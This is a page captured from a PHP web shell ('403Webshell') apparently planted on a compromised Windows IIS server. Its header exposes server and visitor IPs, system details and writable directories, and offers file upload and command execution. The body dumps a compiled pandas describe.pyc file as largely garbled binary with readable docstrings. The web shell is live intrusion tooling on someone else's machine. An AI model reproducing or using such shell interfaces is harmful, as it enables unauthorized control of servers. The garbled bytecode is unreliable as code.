403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python312/Lib/site-packages/pandas/core/methods/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python312/Lib/site-packages/pandas/core/methods/__pycache__/describe.cpython-312.pyc
�

-	�g�.���dZddlmZddlmZmZddlmZmZm	Z	ddl
Zddlm
Z
ddlmZmZmZddlmZdd	lmZmZdd
lmZmZmZddlmZddlmZdd
lm Z erddl!m"Z"m#Z#ddl$m%Z%m&Z&										dd�Z'Gd�de�Z(Gd�de(�Z)Gd�de(�Z*dd�Z+d d�Z,						d!d�Z-						d!d�Z.d"d�Z/				d#d�Z0				d$d�Z1y)%z�
Module responsible for execution of NDFrame.describe() method.

Method NDFrame.describe() delegates actual execution to function describe_ndframe().
�)�annotations)�ABC�abstractmethod)�
TYPE_CHECKING�Callable�castN)�	Timestamp)�DtypeObj�NDFrameT�npt)�validate_percentile)�
is_bool_dtype�is_numeric_dtype)�
ArrowDtype�DatetimeTZDtype�ExtensionDtype)�Float64Dtype)�concat)�format_percentiles)�Hashable�Sequence)�	DataFrame�Seriesc���t|�}|jdk(rttd|���}nt	td|�||��}|j|��}tt|�S)a Describe series or dataframe.

    Called from pandas.core.generic.NDFrame.describe()

    Parameters
    ----------
    obj: DataFrame or Series
        Either dataframe or series to be described.
    include : 'all', list-like of dtypes or None (default), optional
        A white list of data types to include in the result. Ignored for ``Series``.
    exclude : list-like of dtypes or None (default), optional,
        A black list of data types to omit from the result. Ignored for ``Series``.
    percentiles : list-like of numbers, optional
        The percentiles to include in the output. All should fall between 0 and 1.
        The default is ``[.25, .5, .75]``, which returns the 25th, 50th, and
        75th percentiles.

    Returns
    -------
    Dataframe or series description.
    �r��objr)r�include�exclude)�percentiles)�_refine_percentiles�ndim�SeriesDescriberr�DataFrameDescriber�describer)rrrr �	describer�results      �>C:\Python312\Lib\site-packages\pandas/core/methods/describe.py�describe_ndframer)7sm��8&�k�2�K��x�x�1�}�#��X�s�#�
�	�'��[�#�&���
�	��
�
�K�
�
8�F���&�!�!�c�*�eZdZdZdd�Zedd��Zy)�NDFrameDescriberAbstractz�Abstract class for describing dataframe or series.

    Parameters
    ----------
    obj : Series or DataFrame
        Object to be described.
    c��||_y�Nr)�selfrs  r(�__init__z!NDFrameDescriberAbstract.__init__ns	����r*c��y)z�Do describe either series or dataframe.

        Parameters
        ----------
        percentiles : list-like of numbers
            The percentiles to include in the output.
        N�)r/r s  r(r%z!NDFrameDescriberAbstract.describeqs�r*N)r�DataFrame | Series�return�None)r �Sequence[float] | np.ndarrayr4r3)�__name__�
__module__�__qualname__�__doc__r0rr%r2r*r(r,r,es �������r*r,c�$�eZdZUdZded<dd�Zy)r#z2Class responsible for creating series description.rrc�R�t|j�}||j|�Sr.)�select_describe_funcr)r/r �
describe_funcs   r(r%zSeriesDescriber.describe�s&��,��H�H�
�
��T�X�X�{�3�3r*N)r r6r4r)r7r8r9r:�__annotations__r%r2r*r(r#r#|s��<�	�K�4r*r#c�P��eZdZUdZded<								d�fd�Zdd�Zd	d�Z�xZS)
r$abClass responsible for creating dataobj description.

    Parameters
    ----------
    obj : DataFrame
        DataFrame to be described.
    include : 'all', list-like of dtypes or None
        A white list of data types to include in the result.
    exclude : list-like of dtypes or None
        A black list of data types to omit from the result.
    rrc���||_||_|jdk(r$|jjdk(rtd��t�|�|�y)N�rz+Cannot describe a DataFrame without columns)rrr"�columns�size�
ValueError�superr0)r/rrr�	__class__s    �r(r0zDataFrameDescriber.__init__�sH����������8�8�q�=�S�[�[�-�-��2��J�K�K�
����r*c	�X�|j�}g}|j�D](\}}t|�}|j|||���*t	|�}t|D�cgc]}|j
|d����c}dd��}	|jj�|	_|	Scc}w)NF)�copyr)�axis�sort)	�_select_data�itemsr=�append�reorder_columnsr�reindexrCrI)
r/r �data�ldesc�_�seriesr>�	col_names�x�ds
          r(r%zDataFrameDescriber.describe�s���� � �"�� ������	=�I�A�v�0��8�M��L�L��v�{�;�<�	=�$�E�*�	��7<�=�!�Q�Y�Y�y�u�Y�
-�=���
��
�L�L�%�%�'��	����
>s�"B'c��|j�`|j�Ttjdg}|jj|��}t
|j�dk(r|j}|S|jdk(r'|j�
d}t|��|j}|S|jj|j|j��}|S)zSelect columns to be described.�datetime)rr�allz*exclude must be None when include is 'all')rr)	rr�np�numberr�
select_dtypes�lenrCrE)r/�default_includerQ�msgs    r(rLzDataFrameDescriber._select_data�s����L�L� �t�|�|�';�46�I�I�z�3J�O��8�8�)�)�/�)�B�D��4�<�<� �A�%��x�x�����\�\�U�
"��|�|�'�B�� ��o�%��8�8�D���	�8�8�)�)�������*��D��r*)rrr�str | Sequence[str] | Nonerrar4r5)r r6r4r)r4r)	r7r8r9r:r?r0r%rL�
__classcell__)rGs@r(r$r$�sD���
�
�N�
�
�
�,�	
�
,�
�
�

��"r*r$c��g}t�}td�|D�t��}|D]0}|D])}||vs�|j|�|j	|��+�2|S)z,Set a convenient order for rows for display.c3�4K�|]}|j���y�wr.)�index)�.0rVs  r(�	<genexpr>z"reorder_columns.<locals>.<genexpr>�s����3��A�G�G�3�s�)�key)�set�sortedr^�addrN)rR�names�
seen_names�
ldesc_indexes�idxnames�names      r(rOrO�se���E� #��J��3�U�3��=�M�!�#���	#�D��:�%����t�$����T�"�	#�#�
�Lr*c��ddlm}t|�}gd�|zdgz}|j�|j	�|j�|j
�g|j|�j�z|j�gz}t|jt�r_t|jt�r:|jjdk(rd}nYddl}t|j!��}n;t#�}n0|jjdvrt%jd�}nd}||||j&|�	�S)
z�Describe series containing numerical data.

    Parameters
    ----------
    series : Series
        Series to be described.
    percentiles : list-like of numbers
        The percentiles to include in the output.
    r�r)�count�mean�std�min�max�mN�iufb�float�rerp�dtype)�pandasrrrsrtrurv�quantile�tolistrw�
isinstancer|rr�kind�pyarrow�float64rr[rp)rTr r�formatted_percentiles�
stat_indexrWr|�pas        r(�describe_numeric_1dr��s���.�{�;��0�3H�H�E�7�R�J�	���������
�
��f�j�j�l�C�
�/�/�+�
&�
-�
-�
/�	0��:�:�<�.�	���&�,�,��/��f�l�l�J�/��|�|� � �C�'���$�"�2�:�:�<�0�� �N�E�	���	�	�f�	$�����!�����!�:�F�K�K�u�E�Er*c�<�gd�}|j�}t||dk7�}|dkDr!|jd|jd}}d}n"tj
tj
}}d}|j
�|||g}ddlm}	|	|||j|��S)z�Describe series containing categorical data.

    Parameters
    ----------
    data : Series
        Series to be described.
    percentiles_ignored : list-like of numbers
        Ignored, but in place to unify interface.
    )rs�unique�top�freqrN�objectrrr{)
�value_countsr^re�ilocr[�nanrsr}rrp)
rQ�percentiles_ignoredrl�	objcounts�count_uniquer�r�r|r'rs
          r(�describe_categorical_1dr�s���
/�E��!�!�#�I��y��a��0�1�L��a���O�O�A�&�	���q�(9�T�����F�F�B�F�F�T�����j�j�l�L�#�t�
4�F���&��D�I�I�U�C�Cr*c���ddg}|j�}t||dk7�}|j�|g}d}|dkDr�|jd|jd}}|j
j}	|j�jjd�}
t|�}|j�|	�|j|	�}n|j|	�}|gd�z
}|||t|
j�|	��t|
j�|	��gz
}n,|dd	gz
}|t j"t j"gz
}d
}ddlm}||||j(|��S)
z�Describe series containing timestamp data treated as categorical.

    Parameters
    ----------
    data : Series
        Series to be described.
    percentiles_ignored : list-like of numbers
        Ignored, but in place to unify interface.
    rsr�rN�i8)r�r��first�last)�tzr�r�r�rrr{)r�r^rsrer��dtr��dropna�values�viewr	�tzinfo�
tz_convert�tz_localizervrwr[r�r}rrp)rQr�rlr�r�r'r|r�r�r��asintrs            r(�$describe_timestamp_as_categorical_1dr�"sG���h��E��!�!�#�I��y��a��0�1�L�'+�z�z�|�\�&B�F��E��a���O�O�A�&�	���q�(9�T��
�W�W�Z�Z�����
�$�$�)�)�$�/����n���:�:�!�b�n��.�.��$�C��/�/�"�%�C�
�1�1������e�i�i�k�b�)��e�i�i�k�b�)�	
�	
��	�%��� ���2�6�6�2�6�6�"�"������&��D�I�I�U�C�Cr*c�&�ddlm}t|�}gd�|zdgz}|j�|j	�|j�g|j
|�j�z|j�gz}||||j��S)z�Describe series containing datetime64 dtype.

    Parameters
    ----------
    data : Series
        Series to be described.
    percentiles : list-like of numbers
        The percentiles to include in the output.
    rrr)rsrtrvrw)rerp)
r}rrrsrtrvr~rrwrp)rQr rr�r�rWs      r(�describe_timestamp_1dr�Rs����.�{�;��)�,A�A�U�G�K�J�	
����t�y�y�{�D�H�H�J�/�
�-�-��
$�
+�
+�
-�	.��8�8�:�,�	��
�!�:�D�I�I�6�6r*c��t|j�rtSt|�rtS|jj
dk(st
|jt�rtS|jj
dk(rtStS)z�Select proper function for describing series based on data type.

    Parameters
    ----------
    data : Series
        Series to be described.
    �Mrx)	rr|r�rr�r�r�rr�)rQs r(r=r=jsc���T�Z�Z� �&�&�	�$�	�"�"�	
�����C�	�:�d�j�j�/�#J�$�$�	
�����C�	�"�"�&�&r*c�.�|�tjgd��St|�}t|�d|vr|j	d�tj
|�}tj|�}|�J�t|�t|�krtd��|S)z�
    Ensure that percentiles are unique and sorted.

    Parameters
    ----------
    percentiles : list-like of numbers, optional
        The percentiles to include in the output.
    )g�?��?g�?r�z%percentiles cannot contain duplicates)	r[�array�listr
rN�asarrayr�r^rE)r �unique_pctss  r(r!r!�s������x�x�)�*�*��{�#�K���$��+�����3���*�*�[�)�K��)�)�K�(�K��"�"�"�
�;��#�k�*�*��@�A�A��r*)
rrrrarrar �#Sequence[float] | np.ndarray | Noner4r)rRzSequence[Series]r4zlist[Hashable])rTrr �Sequence[float]r4r)rQrr�r�r4r)rQrr r�r4r)rQrr4r)r r�r4znpt.NDArray[np.float64])2r:�
__future__r�abcrr�typingrrr�numpyr[�pandas._libs.tslibsr	�pandas._typingr
rr�pandas.util._validatorsr
�pandas.core.dtypes.commonrr�pandas.core.dtypes.dtypesrrr�pandas.core.arrays.floatingr�pandas.core.reshape.concatr�pandas.io.formats.formatr�collections.abcrrr}rrr)r,r#r$rOr�r�r�r�r=r!r2r*r(�<module>r�s>���
#�����)���
8����5�-�7���
�+"�	�+"�(�+"�(�	+"�
5�+"��
+"�\�s��.	4�.�	4�A�1�A�H
�&F�RD�
�D�(�D��D�@-D�
�-D�(�-D��-D�`7�0'�
�'�
�'�, �4� �� r*

Youez - 2016 - github.com/yon3zu
LinuXploit